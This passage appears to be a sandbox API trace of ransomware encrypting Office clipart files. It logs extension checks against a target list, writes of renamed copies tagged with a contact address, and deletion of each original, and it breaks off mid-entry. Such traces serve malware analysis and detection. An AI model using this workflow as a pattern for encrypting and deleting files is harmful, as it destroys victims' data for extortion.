(lpString1=".bz2", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString=".7z") returned 3 [0152.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString=".dbf") returned 4 [0152.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString=".1cd") returned 4 [0152.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString=".jpg") returned 4 [0152.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.642] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.642] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0152.642] GetLastError () returned 0x0 [0152.642] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0152.723] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0152.724] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.725] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.725] SetEndOfFile (hFile=0x103c) returned 1 [0152.725] CloseHandle (hObject=0x103c) returned 1 [0152.727] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.727] SetEndOfFile (hFile=0x10d0) returned 1 [0152.729] CloseHandle (hObject=0x10d0) returned 1 [0152.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0152.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.730] lstrlenW (lpString=".doc") returned 4 [0152.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.730] lstrlenW (lpString=".docx") returned 5 [0152.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.730] lstrlenW (lpString=".pdf") returned 4 [0152.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.730] lstrlenW (lpString=".xls") returned 4 [0152.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.730] lstrlenW (lpString=".xlsx") returned 5 [0152.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.730] lstrlenW (lpString=".ppt") returned 4 [0152.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.730] lstrlenW (lpString=".zip") returned 4 [0152.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.730] lstrlenW (lpString=".rar") returned 4 [0152.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.731] lstrlenW (lpString=".bz2") returned 4 [0152.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.731] lstrlenW (lpString=".7z") returned 3 [0152.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.731] lstrlenW (lpString=".dbf") returned 4 [0152.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.731] lstrlenW (lpString=".1cd") returned 4 [0152.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0152.731] lstrlenW (lpString=".jpg") returned 4 [0152.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.732] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.732] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0152.732] GetLastError () returned 0x0 [0152.732] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0152.793] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0152.794] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.795] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.795] SetEndOfFile (hFile=0x103c) returned 1 [0152.795] CloseHandle (hObject=0x103c) returned 1 [0152.801] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.801] SetEndOfFile (hFile=0x10d0) returned 1 [0152.802] CloseHandle (hObject=0x10d0) returned 1 [0152.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0152.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.806] lstrlenW (lpString=".doc") returned 4 [0152.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".docx") returned 5 [0152.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.807] lstrlenW (lpString=".pdf") returned 4 [0152.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".xls") returned 4 [0152.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.807] lstrlenW (lpString=".xlsx") returned 5 [0152.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.807] lstrlenW (lpString=".ppt") returned 4 [0152.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.807] lstrlenW (lpString=".zip") returned 4 [0152.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.807] lstrlenW (lpString=".rar") returned 4 [0152.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".bz2") returned 4 [0152.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".7z") returned 3 [0152.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.807] lstrlenW (lpString=".dbf") returned 4 [0152.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.808] lstrlenW (lpString=".1cd") returned 4 [0152.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0152.808] lstrlenW (lpString=".jpg") returned 4 [0152.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.810] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.810] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.819] GetLastError () returned 0x0 [0152.819] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x133c, lpOverlapped=0x0) returned 1 [0152.834] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1340, lpOverlapped=0x0) returned 1 [0152.842] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.842] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.842] SetEndOfFile (hFile=0x10b4) returned 1 [0152.842] CloseHandle (hObject=0x10b4) returned 1 [0152.849] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.849] SetEndOfFile (hFile=0x103c) returned 1 [0153.567] CloseHandle (hObject=0x103c) returned 1 [0153.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0153.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.568] lstrlenW (lpString=".doc") returned 4 [0153.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.568] lstrlenW (lpString=".docx") returned 5 [0153.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.568] lstrlenW (lpString=".pdf") returned 4 [0153.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.568] lstrlenW (lpString=".xls") returned 4 [0153.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.568] lstrlenW (lpString=".xlsx") returned 5 [0153.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.569] lstrlenW (lpString=".ppt") returned 4 [0153.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.569] lstrlenW (lpString=".zip") returned 4 [0153.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.569] lstrlenW (lpString=".rar") returned 4 [0153.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.569] lstrlenW (lpString=".bz2") returned 4 [0153.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.569] lstrlenW (lpString=".7z") returned 3 [0153.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.569] lstrlenW (lpString=".dbf") returned 4 [0153.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.569] lstrlenW (lpString=".1cd") returned 4 [0153.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0153.569] lstrlenW (lpString=".jpg") returned 4 [0153.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.570] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.570] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0153.571] GetLastError () returned 0x0 [0153.571] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x265a, lpOverlapped=0x0) returned 1 [0153.611] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2660, lpOverlapped=0x0) returned 1 [0153.612] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.613] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.613] SetEndOfFile (hFile=0x10b4) returned 1 [0153.613] CloseHandle (hObject=0x10b4) returned 1 [0153.617] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.617] SetEndOfFile (hFile=0x103c) returned 1 [0153.618] CloseHandle (hObject=0x103c) returned 1 [0153.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0153.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.619] lstrlenW (lpString=".doc") returned 4 [0153.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.619] lstrlenW (lpString=".docx") returned 5 [0153.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.619] lstrlenW (lpString=".pdf") returned 4 [0153.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.619] lstrlenW (lpString=".xls") returned 4 [0153.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.620] lstrlenW (lpString=".xlsx") returned 5 [0153.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.620] lstrlenW (lpString=".ppt") returned 4 [0153.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.620] lstrlenW (lpString=".zip") returned 4 [0153.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.620] lstrlenW (lpString=".rar") returned 4 [0153.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.620] lstrlenW (lpString=".bz2") returned 4 [0153.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.620] lstrlenW (lpString=".7z") returned 3 [0153.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.620] lstrlenW (lpString=".dbf") returned 4 [0153.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.620] lstrlenW (lpString=".1cd") returned 4 [0153.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0153.620] lstrlenW (lpString=".jpg") returned 4 [0153.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.621] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.621] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0153.621] GetLastError () returned 0x0 [0153.621] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0153.723] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x400, lpOverlapped=0x0) returned 1 [0153.724] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.724] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.725] SetEndOfFile (hFile=0x10b4) returned 1 [0153.725] CloseHandle (hObject=0x10b4) returned 1 [0153.733] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.733] SetEndOfFile (hFile=0x103c) returned 1 [0153.734] CloseHandle (hObject=0x103c) returned 1 [0153.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0153.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.735] lstrlenW (lpString=".doc") returned 4 [0153.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString=".docx") returned 5 [0153.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.736] lstrlenW (lpString=".pdf") returned 4 [0153.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString=".xls") returned 4 [0153.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.736] lstrlenW (lpString=".xlsx") returned 5 [0153.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.736] lstrlenW (lpString=".ppt") returned 4 [0153.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.736] lstrlenW (lpString=".zip") returned 4 [0153.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.736] lstrlenW (lpString=".rar") returned 4 [0153.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString=".bz2") returned 4 [0153.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString=".7z") returned 3 [0153.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.736] lstrlenW (lpString=".dbf") returned 4 [0153.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.736] lstrlenW (lpString=".1cd") returned 4 [0153.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0153.736] lstrlenW (lpString=".jpg") returned 4 [0153.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.737] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.737] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0153.738] GetLastError () returned 0x0 [0153.738] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x370, lpOverlapped=0x0) returned 1 [0153.756] 